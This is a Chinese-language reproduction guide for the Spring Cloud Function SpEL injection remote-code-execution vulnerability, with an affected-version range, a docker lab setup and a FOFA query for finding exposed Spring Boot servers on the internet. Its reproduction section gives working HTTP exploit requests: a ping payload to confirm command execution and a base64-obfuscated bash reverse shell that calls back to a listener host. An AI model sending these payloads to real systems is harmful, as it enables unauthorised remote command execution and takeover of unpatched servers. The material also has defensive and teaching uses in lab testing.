0x01 漏洞描述
Spring Cloud Function 是基于Spring Boot 的函数计算框架,通过对传输细节和基础架构进行抽象,为开发人员保留熟悉的开发工具和开发流程,使开发人员专注在实现业务逻辑上,从而提升开发效率。
访问Spring Cloud Function的 HTTP请求头中存在 spring.cloud.function.routing-expression参数,其 SpEL表达式可进行注入攻击,并通过 StandardEvaluationContext解析执行。最终,攻击者可通过该漏洞进行远程命令执行。
0x02 影响范围
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
注:部分版本进行特定配置的动态路才会受该漏洞影响!
0x03 FOFA语法
app="vmware-SpringBoot-framework"
0x04 漏洞搭建
docker run -d --name spring-cloud-functio -p 801:8080 --restart=always vulfocus/spring-cloud-function-rce
0x05 漏洞复现
验证漏洞
构造SpEL 注入 payload
POST /functionRouter HTTP/1.1
Host: 10.108.0.52:801
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.108.0.53")
Content-Length: 13
rec test1
这里使用tcpdump监听icmp流量,也可以使用dnslog
tcpdump -nn -i ens192 icmp
反弹shell
POST /functionRouter HTTP/1.1
Host: 10.108.0.52:801
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMDguMC41My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Length: 13
rec test1
0x06 参考文章
https://mp.weixin.qq.com/s/U7YJ3FttuWSOgCodVSqemg